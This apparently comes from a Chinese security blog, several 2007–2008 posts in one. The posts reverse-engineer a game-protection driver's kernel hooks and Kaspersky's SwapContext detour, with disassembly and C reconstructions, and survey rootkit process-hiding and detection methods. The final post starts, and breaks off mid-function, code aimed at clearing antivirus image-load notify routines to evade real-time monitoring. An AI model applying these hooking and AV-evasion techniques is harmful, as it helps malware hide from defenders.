安全之Rootkits/Virus

游戏保护之乱谈

垃圾一堆 — Sat, 31 May 2008 20:18:00 GMT

前段时间无聊时,简单逆向了XX游戏保护的驱动;本来不准备写这篇文章,但搜索资料看到类似代码,想做个简单的比较,纯属娱乐,各位看官见笑

一 xx游戏保护驱动的实现：

TSDeviceControl()
IOCTL_TS_INIT（初始化游戏保护器）：
   1) Irp->AssociatedIrp.SystemBuffer输入参数格式
       struct{dword dwMajorVersion;
              dword dwMinorVersion;
              dword dwServicePackMajor;
              dword dwServicePackMinor;
              dword dwNum;    //需保护进程数目
              dword dwPID[32]; //需保护进程列表
              dword decode;    //密钥
              }InitParam;

    2)TSDecodeControlParam();//对输入参数进行解密

    3)TSInitGuardProcess();//初始化需保护的进程列表
      {
       if (InitParam.dwNum <= 0)
       {
          return;
       }

       for(int i=0; i<InitParam.dwNum && i<LIMIT_GUARD_PROCESS_NUM; i++)
       {
         if (PsLookupProcessByProcessId(InitParam.dwPID[i], g_GuardEProcess[g_GuardEProcessNum]) == STATUS_SUCCESS)
         {
              g_GuardEProcessNum++;
         }
       }
     }
     #define LIMIT_GUARD_PROCESS_NUM 32
     dword    g_GuardEProcessNum;
     EPROCESS g_GuardEProcess[LIMIT_GUARD_PROCESS_NUM];


    4)TSInitINTNumber();
      (1)初始化GDI(win32k.sys)中要detour的服务中断号
      (2)动态加载PsGetProcessImageFileName

    5)TSSetKernelHook();
      (1)动态加载ObOpenObjectByPointer和NtOpenProcess

      (2)查找NtOpenProcess中调用ObOpenObjectByPointer的地址(内置了一个小的反汇编引擎)
         mov     ecx, g_NtOpenProcess     ;
         cmp     al, 0E8h                 ; is relative call
         jnz     short Loc_NoRelativeCall ;
         mov     eax, [ecx+1]             ;
         mov     g_CallObOpenObjectByPointerAddr, eax ;
         lea     eax, [eax+ecx+5];                    ; 相对转跳的位置
         cmp     eax, g_ObOpenObjectByPointer         ; 是否是ObOpenObjectByPointer的地址

         如果成功找到;detour后NtOpenProcess的实现就是：
         NTSTATUS NtOpenProcess(...)
         {
          ...
          call NewObOpenObjectByPointer();
          test eax, eax
          jz   Loc_exit;
          ...
         }


       (3)如果上述任何(1)/(2)步骤失败：
          (a)从ntoskrnel.exe文件中读取KeServiceDescriptorTable的service列表(服务的地址)

          (b)根据不同版本的os版本,获得NtReadVirtualMemory/NtWriteVirtualMemory的服务中断号

          (c)并分析出NtReadVirtualMemory/NtWriteVirtualMemory的地址([文件偏移->内存偏移]+ntoskrnel baseAddr)

           上述步骤成功;detour NtReadVirtualMemory/NtWriteVirtualMemorydetour后的实现就是:
           NTSTATUS NtReadVirtualMemory/NtWriteVirtualMemorydetour()
           {
            mov eax, NewFunAddr;
            jmp eax;
            .....
           }

   6)TSSetGDIHook()
      (1)查找KeServiceDescriptorTableShadow的地址(KeAddSystemServiceTable和KeServiceDescriptorTable匹配法)
         代码到处都有就不贴了
        (PS 方法一:GUI KTHREAD.ServiceTable; 方法二:上下空间内搜索-2k上xp下; 方法三:KeAddSystemServiceTable法)

      (2)根据TSInitINTNumber()获得要detour的GDI(win32k.sys中)函数地址
         (1) NtUserGetDCIndex
         (2) NtUserGetDCExIndex
         (3) NtUserBuildHwndListIndex
         (4) NtUserFindWindowExIndex
         (5) NtUserGetForegroundWindowIndex
         (6) NtUserWindowFromPointIndex
         (7) NtUserQueryWindow（此函数不detour,只为了在NewNtUserxxx中使用）

      (3)ssdt hook 上述GDI(win32k.sys中)函数

   7)附加一些保护和检查机制就不说了
     TSAntiWindbg()

二 Cheat Engine
   困了，明天再说～

AVP主动防御之隐藏进程

垃圾一堆 — Fri, 23 Nov 2007 10:37:00 GMT

卡巴主动防御中检测隐藏进程的方法：
    Hook掉系统的SwapContext,这种方法是在2003年被提出的;这个函数被KiSwapThread调用,负责线程调度;下面这部分代码就是卡巴Detour SwapContext的汇编代码的分析(后面附上对应的c代码)：

(PS:突破这种方式来隐藏进程的方法也在随后就出来了,自己实现线程调度,详见:http://hi-tech.nsys.by/33/)

一：KlifSetSwapContextHook

.text:0002DE60 KlifSetSwapContextHook proc near
.text:0002DE60
.text:0002DE60 var_5C          = dword ptr -5Ch
.text:0002DE60 var_58          = dword ptr -58h
.text:0002DE60 var_54          = dword ptr -54h
.text:0002DE60 var_50          = dword ptr -50h
.text:0002DE60 var_48          = dword ptr -48h
.text:0002DE60 var_38          = dword ptr -38h
.text:0002DE60 var_34          = dword ptr -34h
.text:0002DE60 var_30          = word ptr -30h
.text:0002DE60 var_24          = dword ptr -24h
.text:0002DE60 var_20          = dword ptr -20h
.text:0002DE60 var_1C          = dword ptr -1Ch
.text:0002DE60 var_18          = dword ptr -18h
.text:0002DE60 var_10          = dword ptr -10h
.text:0002DE60 var_4           = dword ptr -4
.text:0002DE60
.text:0002DE60                 push    ebp
.text:0002DE61                 mov     ebp, esp
.text:0002DE63                 push    0FFFFFFFFh
.text:0002DE65                 push    offset dword_13158
.text:0002DE6A                 push    offset sub_2E46C
.text:0002DE6F                 mov     eax, large fs:0
.text:0002DE75                 push    eax
.text:0002DE76                 mov     large fs:0, esp
.text:0002DE7D                 sub     esp, 4Ch
.text:0002DE80                 push    ebx
.text:0002DE81                 push    esi
.text:0002DE82                 push    edi
.text:0002DE83                 mov     [ebp+var_18], esp
.text:0002DE86                 mov     ecx, g_NtoskrnlAddr
.text:0002DE8C                 cmp     word ptr [ecx], 5A4Dh ; Ms dos stub - MZ
.text:0002DE91                 jnz     Routine_Error
.text:0002DE97                 mov     eax, [ecx+3Ch] ; e_lfanew
.text:0002DE9A                 add     eax, ecx
.text:0002DE9C                 cmp     dword ptr [eax], 4550h ; PE
.text:0002DEA2                 jnz     Routine_Error
.text:0002DEA8                 xor     edx, edx
.text:0002DEAA                 mov     dx, [eax+14h]      ; SizeOfOptionalHeader
.text:0002DEAE                 lea     eax, [edx+eax+18h] ; 指向第一Section(.text)
.text:0002DEB2                 mov     esi, [eax+0Ch]
.text:0002DEB5                 add     esi, ecx           ;.text区的内存地址
.text:0002DEB7                 mov     eax, [eax+10h]     ;.text区的内存大小
.text:0002DEBA                 xor     ebx, ebx
.text:0002DEBC                 mov     [ebp+var_20], ebx
.text:0002DEBF                 mov     [ebp+var_4], ebx
.text:0002DEC2                 mov     ecx, ds:NtBuildNumber
.text:0002DEC8                 mov     cx, [ecx]
.text:0002DECB                 cmp     cx, 2600        ; 1575 - 2195 Win2K
.text:0002DECB                                         ; 2202 - 2600 WinXP
.text:0002DECB                                         ; 3501 - 3790 Win2003
.text:0002DED0                 jle     Is2kORxp
.text:0002DED6                 mov     [ebp+var_1C], 5
.text:0002DEDD                 cmp     cx, 3790
.text:0002DEE2                 jl      short Is2003Release
.text:0002DEE4                 mov     ecx, offset g_2003CharCode ; 2003的特征码
.text:0002DEE9                 mov     [ebp+var_58], ecx
.text:0002DEEC                 mov     edx, 9
.text:0002DEF1                 mov     [ebp+var_54], edx
.text:0002DEF4                 xor     edi, edi
.text:0002DEF6                 jmp     short Is2003
.text:0002DEF8
.text:0002DEF8 Is2003Release:
.text:0002DEF8                 cmp     cx, 3604
.text:0002DEFD                 jle     short Is2003Beta3
.text:0002DEFF                 mov     ecx, offset g_ReleaseCharCode ; 2003Beat3-Release的特征码
.text:0002DF04                 mov     [ebp+var_58], ecx
.text:0002DF07                 mov     edx, 8
.text:0002DF0C                 mov     [ebp+var_54], edx
.text:0002DF0F                 mov     edi, 0Ah
.text:0002DF14                 jmp     short Is2003
.text:0002DF16
.text:0002DF16 Is2003Beta3:
.text:0002DF16                 mov     ecx, offset g_Bete3CharCode ; 2003的Beta-Beta3特征码
.text:0002DF1B                 mov     [ebp+var_58], ecx
.text:0002DF1E                 mov     edx, 7
.text:0002DF23                 mov     [ebp+var_54], edx
.text:0002DF26                 mov     edi, 9
.text:0002DF2B
.text:0002DF2B Is2003:
.text:0002DF2B                 mov     [ebp+var_50], edi
.text:0002DF2E                 push    edx
.text:0002DF2F                 push    ecx
.text:0002DF30                 push    eax
.text:0002DF31                 push    esi
.text:0002DF32                 call    KilfGetAddrByCharCode ; arg_c 特征码的长度
.text:0002DF32                                               ; arg_8 特征码的地址
.text:0002DF32                                               ; arg_4 搜索的最大范围
.text:0002DF32                                               ; arg_0 搜索的起始地址
.text:0002DF37                 mov     [ebp+var_24], eax
.text:0002DF3A                 cmp     eax, 0FFFFFFFFh
.text:0002DF3D                 jz      Search_Failed
.text:0002DF43                 add     eax, edi
.text:0002DF45                 add     esi, eax
.text:0002DF47                 cmp     dword ptr [esi], 0FF1043FFh
.text:0002DF4D                 jnz     short Search_Failed
.text:0002DF4F                 mov     ebx, esi
.text:0002DF51                 mov     [ebp+var_20], ebx
.text:0002DF54                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0002DF5B                 jmp     SetSwapContextHook
.text:0002DF60
.text:0002DF60 Is2kORxp:
.text:0002DF60                 push    5
.text:0002DF62                 push    offset g_2kCharCode ; 2k的特征码
.text:0002DF67                 push    eax
.text:0002DF68                 push    esi
.text:0002DF69                 call    KilfGetAddrByCharCode ; arg_c 特征码的长度
.text:0002DF69                                               ; arg_8 特征码的地址
.text:0002DF69                                               ; arg_4 搜索的最大范围
.text:0002DF69                                               ; arg_0 搜索的起始地址
.text:0002DF6E                 mov     [ebp+var_24], eax
.text:0002DF71                 cmp     eax, 0FFFFFFFFh
.text:0002DF74                 jz      short Search_Failed
.text:0002DF76                 mov     edx, ds:NtBuildNumber
.text:0002DF7C                 cmp     word ptr [edx], 2195
.text:0002DF81                 jle     short Is2k
.text:0002DF83
.text:0002DF83 Isxp:
.text:0002DF83                 add     esi, eax
.text:0002DF85                 mov     [ebp+var_5C], esi
.text:0002DF88                 mov     [ebp+var_1C], 7
.text:0002DF8F                 push    4
.text:0002DF91                 push    offset g_XpCharCode ; xp的特征码
.text:0002DF96                 push    100h
.text:0002DF9B                 push    esi
.text:0002DF9C                 call    KilfGetAddrByCharCode ; arg_c 特征码的长度
.text:0002DF9C                                               ; arg_8 特征码的地址
.text:0002DF9C                                               ; arg_4 搜索的最大范围
.text:0002DF9C                                               ; arg_0 搜索的起始地址
.text:0002DFA1                 mov     [ebp+var_24], eax
.text:0002DFA4                 cmp     eax, 0FFFFFFFFh
.text:0002DFA7                 jz      short Search_Failed
.text:0002DFA9                 lea     ebx, [esi+eax+2]
.text:0002DFAD                 mov     [ebp+var_20], ebx
.text:0002DFB0                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0002DFB7                 jmp     short SetSwapContextHook
.text:0002DFB9
.text:0002DFB9 Is2k:
.text:0002DFB9                 lea     ebx, [eax+esi]
.text:0002DFBC                 mov     [ebp+var_20], ebx
.text:0002DFBF                 mov     [ebp+var_1C], 5
.text:0002DFC6
.text:0002DFC6 Search_Failed:
.text:0002DFC6                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0002DFCD                 jmp     short SetSwapContextHook
.text:0002DFCF
.text:0002DFCF SEH_Routine:
.text:0002DFCF                 mov     eax, 1
.text:0002DFD4                 retn
.text:0002DFD5
.text:0002DFD5 SEH_Routine2:
.text:0002DFD5                 mov     esp, [ebp-18h]
.text:0002DFD8                 mov     dword ptr [ebp-4], 0FFFFFFFFh
.text:0002DFDF                 mov     ebx, [ebp-20h]
.text:0002DFE2
.text:0002DFE2 SetSwapContextHook:
.text:0002DFE2                 test    ebx, ebx
.text:0002DFE4                 jz      Routine_Error
.text:0002DFEA                 mov     eax, 90909090h
.text:0002DFEF                 mov     [ebp+var_38], eax
.text:0002DFF2                 mov     [ebp+var_34], eax
.text:0002DFF5                 mov     [ebp+var_30], ax
.text:0002DFF9                 mov     byte ptr [ebp+var_38], 0E9h ; JMP
.text:0002DFFD                 mov     ecx, offset KlifSwapContext
.text:0002E002                 sub     ecx, ebx        ; EBX是SwapContext+offset的地址
.text:0002E004                 sub     ecx, 5
.text:0002E007                 mov     [ebp+var_38+1], ecx
.text:0002E00A
.text:0002E00A Klif_Store_SC_Addr:                     ; 保存原来的指令
.text:0002E00A                 mov     ecx, [ebp+var_1C]
.text:0002E00D                 lea     edx, [ecx+ebx]
.text:0002E010                 mov     g_SwapContextAddr, edx
.text:0002E016                 mov     esi, ebx
.text:0002E018                 mov     edi, offset g_SwapContextOpcode
.text:0002E01D                 mov     eax, ecx
.text:0002E01F                 shr     ecx, 2
.text:0002E022                 rep movsd
.text:0002E024                 mov     ecx, eax
.text:0002E026                 and     ecx, 3
.text:0002E029                 rep movsb
.text:0002E02B                 lea     ecx, [ebp+var_48]
.text:0002E02E                 push    ecx
.text:0002E02F                 push    1
.text:0002E031                 push    ebx
.text:0002E032                 call    KlifSetInterruptStauts
.text:0002E037                 test    al, al
.text:0002E039                 jz      short Routine_Error
.text:0002E03B                 mov     ecx, offset g_kernelLock
.text:0002E040                 call    KlifClearInterruptAndLock
.text:0002E045
.text:0002E045 Klif_Set_SC_Hook:                         ; detour开始
.text:0002E045                 mov     ecx, [ebp+var_1C] ; 覆盖的Opcodes Num
.text:0002E048                 lea     esi, [ebp+var_38] ; Jmp Klif+0x????
.text:0002E04B                 mov     edi, ebx
.text:0002E04D                 mov     edx, ecx
.text:0002E04F                 shr     ecx, 2
.text:0002E052                 rep movsd
.text:0002E054                 mov     ecx, edx
.text:0002E056                 and     ecx, 3
.text:0002E059                 rep movsb
.text:0002E05B                 mov     edx, eax
.text:0002E05D                 mov     ecx, offset g_kernelLock
.text:0002E062                 call    KlifUnLock
.text:0002E067                 lea     eax, [ebp+var_48]
.text:0002E06A                 push    eax
.text:0002E06B                 mov     ecx, [ebp+var_48]
.text:0002E06E                 push    ecx
.text:0002E06F                 push    ebx
.text:0002E070                 call    KlifSetInterruptStauts
.text:0002E075                 mov     al, 1
.text:0002E077                 mov     ecx, [ebp+var_10]
.text:0002E07A                 mov     large fs:0, ecx
.text:0002E081                 pop     edi
.text:0002E082                 pop     esi
.text:0002E083                 pop     ebx
.text:0002E084                 mov     esp, ebp
.text:0002E086                 pop     ebp
.text:0002E087                 retn
.text:0002E088 Routine_Error:
.text:0002E088                 xor     al, al
.text:0002E08A                 mov     ecx, [ebp+var_10]
.text:0002E08D                 mov     large fs:0, ecx
.text:0002E094                 pop     edi
.text:0002E095                 pop     esi
.text:0002E096                 pop     ebx
.text:0002E097                 mov     esp, ebp
.text:0002E099                 pop     ebp
.text:0002E09A                 retn
.text:0002E09A KlifSetSwapContextHook endp

二：KlifSwapContext

.text:0002DE10 KlifSwapContext:
.text:0002DE10                 pushf
.text:0002DE11                 pusha
.text:0002DE12                 mov     ebp, esp
.text:0002DE14                 sub     esp, 10h
.text:0002DE17                 add     esi, dword_2FC90
.text:0002DE1D                 add     edi, dword_2FC90
.text:0002DE23                 mov     eax, [esi]      ; Address of next thread
.text:0002DE25                 mov     [ebp-8], eax
.text:0002DE28                 mov     eax, [edi]      ; Address of previous thread
.text:0002DE2A                 mov     [ebp-0Ch], eax
.text:0002DE2D                 mov     ecx, offset g_kernelLock
.text:0002DE32                 call    KlifClearInterruptAndLock
.text:0002DE37                 mov     [ebp-4], eax
.text:0002DE3A                 mov     eax, [ebp-8]
.text:0002DE3D                 push    eax             ; Address of next thread
.text:0002DE3E                 call    KlifSwapContextMain ;//MAIN!!!
.text:0002DE43                 mov     edx, [ebp-4]
.text:0002DE46                 mov     ecx, offset g_kernelLock
.text:0002DE4B                 call    KlifUnLock
.text:0002DE50                 add     esp, 10h
.text:0002DE53                 popa
.text:0002DE54                 popf
.text:0002DE55                 jmp     g_OldSwapContext
.text:0002DE5B                 align 10h

三：KlifSetSwapContextHook 对应C代码

PVOID g_NtoskrnlAddr;
char g_2003CharCode[8]    = {0xFF, 0x43, 0x10, 0xFF, 0x33, 0x83, 0x7B, 0x08};
char g_ReleaseCharCode[8] = {0x80, 0x7E, 0x5D, 0x00, 0x74, 0x04, 0xF3, 0x90};
char g_Bete3CharCode[8]   = {0xF7, 0x46, 0x24, 0x01, 0x00, 0x00, 0x00, 0x00};
char g_2kCharCode[8]      = {0x26, 0xC6, 0x46, 0x2D, 0x02, 0x00, 0x00, 0x00};
char g_xpCharCode[4]      = {0x8B, 0x0B, 0x83, 0xBB};
int   g_SwapContextOpcode[4] = {0x90909090, 0x90909090, 0x9090FF25, g_SwapContextAddr};
int   g_SwapContextAddr;
char g_kernelLock;

BOOL KlifSetSwapContextHook()
{
METUEX ProtectMutex;        //这个不大准确
int    nOffset          = 0;//特征码距Ntoskrnl的偏移移
int    nReplaceNum      = 0;//要替换SwapContext几个字节
char* pSwapContextAddr = 0;//要替换的地址

int   nCompareNum = 0;
char* pCompareCode = 0;

PIMAGE_DOS_HEADER     pImageDos = (PIMAGE_DOS_HEADER)g_NtoskrnlAddr;
PIMAGE_NT_HEADERS     pImageNt = (PIMAGE_NT_HEADERS)(g_NtoskrnlAddr+pImageDos->e_lfanew);
PIMAGE_SECTION_HEADER pImageSec = (PIMAGE_SECTION_HEADER )((char*)pImageNt+pImageNt->FileHeader.SizeOfOptionalHeader);

char* pSearchAddr = (char*)g_NtoskrnlAddr + pImageSec->VirtualAddress;
int   nSearchArea = pImageSection->SizeOfRawData;

if (*(WORD*)g_NtoskrnlAddr               == 0x5A4D &&
     *(WORD*)((char*)g_NtoskrnlAddr+0x3C) == 0x4550)
{
  return FALSE;
}

//Windows 2003
if (*NtBuildNumber > 2600)
{
  nReplaceNum = 5;

  int nOrgOffset = 0;
  if (*NtBuildNumber >= 3790)
  {
   nCompareNum = 9;
   pCompareCode = g_2003CharCode;

  }else
  {
   if (*NtBuildNumber > 3604)
   {
    nOrgOffset   = 10;
    nCompareNum = 8;
    pCompareCode = g_ReleaseCharCode;
   }else
   {
    nOrgOffset   = 9;
    nCompareNum = 7;
    pCompareCode = g_Bete3CharCode;

   }
  }

  nOffset = KilfGetAddrByCharCode(nCompareNum,
                                  pCompareCode,
                                  nSearchArea,
                                  pSearchAddr);
  if (nOffset == -1)
  {
   return FALSE;
  }

  pSwapContextAddr = pSearchAddr + nOffset + nOrgOffset;

  if (*((int*)pSwapContextAddr) != 0xFF1043FF)
  {
   return FALSE;
  }

}else
{
  //Win2K
  nOffset = KilfGetAddrByCharCode(5,
                                  g_2kCharCode,
                                  nSearchArea,
                                  pSearchAddr);
  if (nOffset == -1)
  {
   return FALSE;
  }

  //WinXP
  if (*NtBuildNumber > 2395)
  {
   nOffset = KilfGetAddrByCharCode(4,
                                   g_xpCharCode,
                                   nSearchArea,
                                   pSearchAddr);
   if (nOffset == -1)
   {
    return FALSE;
   }
   nReplaceNum      = 7;
   pSwapContextAddr = pSearchAddr + nOffset + 2;

  }else
  {
   nReplaceNum      = 5;
   pSwapContextAddr = pSearchAddr + nOffset;
  }
}

if (!pSwapContextAddr)
{
return FALSE;
}

char NewSwapContext[9] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};

NewSwapContext[0] = 0xE9;
*((int*)&NewSwapContext[1]) = (int)KlifSwapContext - (int)pSwapContextAddr - 5;

//保存原来的指令
g_SwapContextAddr = pSwapContextAddr + nReplaceNum;//跳回来的地址

for(int i = nReplaceNum; i>0; i--)
{
g_SwapContextOpcode[i] = pSwapContextAddr[i];
}

if (!KlifSetInterruptStauts(pSwapContextAddr, 1, &ProtectMutex))
{
return FALSE;
}

KlifClearInterruptAndLock(g_kernelLock);

//覆盖原来指令
for(i = nReplaceNum; i>0; i--)
{
pSwapContextAddr[i] = NewSwapContext[i];
}
KlifUnLock(g_kernelLock);

KlifSetInterruptStauts(pSwapContextAddr, ProtectMutex, &ProtectMutex);

return TRUE;
}

阐述中存在错误,望指教,谢谢！转载请注明地址 :)

Rootkit 1: Detection Hide Process

垃圾一堆 — Mon, 16 Jul 2007 10:41:00 GMT

什么叫rootkit?
  它是由有用的小型程序组成的工具包,使得攻击者能够保持访问计算机上具有最高权限的用户“root”.rootkit是能够持久或可靠地、无法检测地存在于计算机上的一组程序和代码.

rootkit主要分为下列大类：
1 进程隐藏
2 文件隐藏
3 端口隐藏
4 注册表隐藏
5 驱动服务隐藏

Part I：进程隐藏
一：序言
下列情况不在讨论之中(没进程)
  1 通过CreateRemoteThread Inject代码到另一个进程(有种病毒就用这种方法,实现内存感染的;其实还有更多应用)
2 通过CreateRemoteThread LoadLibray一dll到另一个进程(屏蔽Ctrl+Alt+Del,就是通过这种方法和SetWindowLog实现)

二：进程隐藏
1 Hook/InlineHook Api NtQuerySystemInformation(taskmgr.exe就是用这个函数得到Process list)
2 Hook/InlineHook Api Process32Next
3 把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除
    a)ring0下驱动实现,注意:Nt/2000/xp/2003中PID和FLINK在EPROCESS中的offset不尽相同
    b)ring3下利用call gate结合\Device\PhysicalMemory内核对象实现

二：检测进程隐藏
我们重要讨论一下杀毒软件Kaspersky和rootkit检测工具Icesword的两种方法：

1 kaspersky的方法：kaspersky从6.0中加入了主动防御功能,它detour了SwapContext.

lkd> u KiSwapThread L20
nt!KiSwapThread:
804dd66e 8bff             mov     edi,edi
804dd670 56               push    esi
804dd671 57               push    edi
804dd672 3ea120f0dfff     mov     eax,ds:[ffdff020]
804dd678 8bf0             mov     esi,eax
804dd67a 8b4608           mov     eax,[esi+0x8]
804dd67d 85c0             test    eax,eax
804dd67f 8b7e04           mov     edi,[esi+0x4]
804dd682 0f8557ba0000     jne     nt!KiSwapThread+0x16 (804e90df)
804dd688 53               push    ebx
804dd689 0fbe5e10         movsx   ebx,byte ptr [esi+0x10]
804dd68d 33d2             xor     edx,edx
804dd68f 8bcb             mov     ecx,ebx
804dd691 e86bffffff       call    nt!KiFindReadyThread (804dd601)
804dd696 85c0             test    eax,eax
804dd698 0f843e990000     je      nt!KiSwapThread+0x2e (804e6fdc)
804dd69e 5b               pop     ebx
804dd69f 8bc8             mov     ecx,eax
804dd6a1 e80cf7ffff       call    nt!KiSwapContext (804dcdb2)
804dd6a6 84c0             test    al,al
804dd6a8 8a4f58           mov     cl,[edi+0x58]
804dd6ab 8b7f54           mov     edi,[edi+0x54]
804dd6ae 8b3570864d80     mov     esi,[nt!_imp_KfLowerIrql (804d8670)]
804dd6b4 0f85d10a0100     jne     nt!KiSwapThread+0x56 (804ee18b)
804dd6ba ffd6             call    esi
804dd6bc 8bc7             mov     eax,edi
804dd6be 5f               pop     edi
804dd6bf 5e               pop     esi
804dd6c0 c3               ret

lkd> u KiSwapContext L20
nt!KiSwapContext:
804dcdb2 83ec10           sub     esp,0x10
804dcdb5 895c240c         mov     [esp+0xc],ebx
804dcdb9 89742408         mov     [esp+0x8],esi
804dcdbd 897c2404         mov     [esp+0x4],edi
804dcdc1 892c24           mov     [esp],ebp
804dcdc4 8b1d1cf0dfff     mov     ebx,[ffdff01c]
804dcdca 8bf1             mov     esi,ecx
804dcdcc 8bbb24010000     mov     edi,[ebx+0x124]
804dcdd2 89b324010000     mov     [ebx+0x124],esi
804dcdd8 8a4f58           mov     cl,[edi+0x58]
804dcddb e8d9000000       call    nt!SwapContext (804dceb9)
804dcde0 8b2c24           mov     ebp,[esp]
804dcde3 8b7c2404         mov     edi,[esp+0x4]
804dcde7 8b742408         mov     esi,[esp+0x8]
804dcdeb 8b5c240c         mov     ebx,[esp+0xc]
804dcdef 83c410           add     esp,0x10
804dcdf2 c3               ret

lkd> u SwapContext L10
nt!SwapContext:
804dceb9 0ac9             or      cl,cl
804dcebb 26c6462d02       mov     byte ptr es:[esi+0x2d],0x2
804dcec0 9c               pushfd
804dcec1 8b0b             mov     ecx,[ebx]
804dcec3 e948cfa077       jmp     f7ee9e10（注意：这个地址不在NTOSKRNL.EXE范围中,落在klif.sys范围中,<它用了相对转跳,这样可以节约两个字节,cs:08>）
804dcec8 90               nop
804dcec9 90               nop
804dceca 51               push    ecx
804dcecb 0f8534010000     jne     nt!SwapContext+0x14d (804dd005)
804dced1 833d8c29568000 cmp dword ptr [nt!PPerfGlobalGroupMask (8056298c)],0x0
804dced8 0f85fe000000     jne     nt!SwapContext+0x124 (804dcfdc)
804dcede 0f20c5           mov     ebp,cr0
804dcee1 8bd5             mov     edx,ebp
804dcee3 8a4e2c           mov     cl,[esi+0x2c]
804dcee6 884b50           mov     [ebx+0x50],cl
804dcee9 fa               cli

考虑到机器的效率,SwapContext是用汇编代码实现的,看看它具体功能(实现自己看代码吧:))：
;++
;
; Routine Description:
;
;    This routine is called to swap context from one thread to the next.
;    It swaps context, flushes the data, instruction, and translation
;    buffer caches, restores nonvolatile integer registers, and returns
;    to its caller.
;
;    N.B. It is assumed that the caller (only caller's are within this
;         module) saved the nonvolatile registers, ebx, esi, edi, and
;         ebp. This enables the caller to have more registers available.
;
; Arguments:
;
;    cl - APC interrupt bypass disable (zero enable, nonzero disable).
;    edi - Address of previous thread.
;    esi - Address of next thread.
;    ebx - Address of PCR.
;
; Return value:
;
;    al - Kernel APC pending.
;    ebx - Address of PCR.
;    esi - Address of current thread object.
;
;--

(虽然悬挂或等待的线程,不会获得cpu时间,但在SwapContext的时候仍然要检测,知道Thread了,得到对应Process也就容易了)
注：这个方法最初是J. Butler提出的,参见：http://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=1232409

2 IceSword的方法：以前的方法是检测EPRCOESS,后来改成了PspCidTable

a)全局变量PspCidTable是一个HANDLE_TABLE的指针,这个变量并没有被NTOSKRNL导出,这个HANDLE_TABLE的表保存着所有进程和线程对象的指针.

  b)PID（进程ID）和 ThreadID（线程ID）就是在这个句柄表中的索引,这个HANDLE_TABLE不属于任何进程,也没有链在HANDLE_TABLE链上.

c)PspCidTable在PsLookupProcessByProcessId中被用到,所以可以在此函数中搜索PspCidTalbe变量以定位其地址.

d)得到PspCidTable这个句柄表地址后,IceSword调用ExEnumHandleTable.

这个函数的函数原形是:
BOOLEAN ExEnumHandleTable(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL)

参数说明:
HandleTable        : 句柄表,可以用PspCidTable做参数.
EnumHandleProcedure: 类型为BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(HANDLE_TALBE_ENTRY*,DWORD PID,PVOID Param)函数指针.
EnumParameter      : 传送给EnumHandleProcedure函数的参数.
Handle             : 此函数返回True时此参数才有效,为停止枚举前所枚举的句柄(可选).

功能说明:
调用ExEnumHandleTable函数的时,在每次枚举到表中的一个句柄时都会调用一次回调函数;
回调函数返回值为FALSE时继续枚举句柄表,返回TRUE时则停止枚举.

我们来看看他的具体实现吧！

BOOLEAN
ExEnumHandleTable(
    IN PHANDLE_TABLE HandleTable,
    IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
    IN PVOID EnumParameter,
    OUT PHANDLE Handle OPTIONAL
    )

/*++

Routine Description:

    This function enumerates all the valid handles in a handle table.
    For each valid handle in the handle table, the specified eumeration
    function is called. If the enumeration function returns TRUE, then
    the enumeration is stopped, the current handle is returned to the
    caller via the optional Handle parameter, and this function returns
    TRUE to indicated that the enumeration stopped at a specific handle.

Arguments:

HandleTable - Supplies a pointer to a handle table.

EnumHandleProcedure - Supplies a pointer to a fucntion to call for
each valid handle in the enumerated handle table.

EnumParameter - Supplies an uninterpreted 32-bit value that is passed
to the EnumHandleProcedure each time it is called.

    Handle - Supplies an optional pointer a variable that receives the
        Handle value that the enumeration stopped at. Contents of the
        variable only valid if this function returns TRUE.

Return Value:

If the enumeration stopped at a specific handle, then a value of TRUE
is returned. Otherwise, a value of FALSE is returned.

--*/

{

    PHANDLE_ENTRY HandleEntry;
    BOOLEAN ResultValue;
    PHANDLE_ENTRY TableEntries;
    PHANDLE_ENTRY TableBound;
    ULONG TableIndex;

PAGED_CODE();

ASSERT(HandleTable != NULL);

    //
    // Lock the handle table exclusive and enumerate the handle entries.
    //

    ResultValue = FALSE;
    ExLockHandleTableShared(HandleTable);
    TableBound = HandleTable->TableBound;
    TableEntries = HandleTable->TableEntries;
    HandleEntry = &TableEntries[1];
    while (HandleEntry < TableBound) {
        if (ExIsEntryUsed(TableEntries, TableBound, HandleEntry)) {
            TableIndex = HandleEntry - TableEntries;
            if ((*EnumHandleProcedure)(HandleEntry,
                                        INDEX_TO_HANDLE(TableIndex),
                                        EnumParameter)) {

                if (ARGUMENT_PRESENT(Handle)) {
                    *Handle = INDEX_TO_HANDLE(TableIndex);
                }

                ResultValue = TRUE;
                break;
            }
        }

HandleEntry += 1;
}

ExUnlockHandleTableShared(HandleTable);
return ResultValue;
}

(PS:IceSword的检测方法部分参见匿名用户的文章,非常感谢！)

绕过杀毒软件之一（实时监控篇）续

垃圾一堆 — Fri, 08 Jun 2007 09:22:00 GMT

上次说的绕过杀毒软件之一(实时监控篇)中,提供了解决方法这是对应代码：
（至于如何清理具体驱动的NotfiyRoutine,就是找到驱动所加载的地址,用PsLoadedModuleList或ZwQuerySystemInformation，然后判断PspLoadImageNotifyRoutine中的项是否落在此驱动范围,
我在这就不罗嗦了，自己动手去）

//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__

DWORD FindPspLoadImageNotifyRoutine(void);

NTSTATUS InitFixNotify(void);

VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo);

#endif

//FixNotify.cpp
#include "FixNotify.h"

NTSTATUS InitFixNotify(void)
{
return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}

VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
      IN HANDLE ProcessId,
      IN PIMAGE_INFO ImageInfo)
{
    return;
}

DWORD FindPspLoadImageNotifyRoutine(void)
{
UINT           i,j;
BYTE*          pCheckArea;
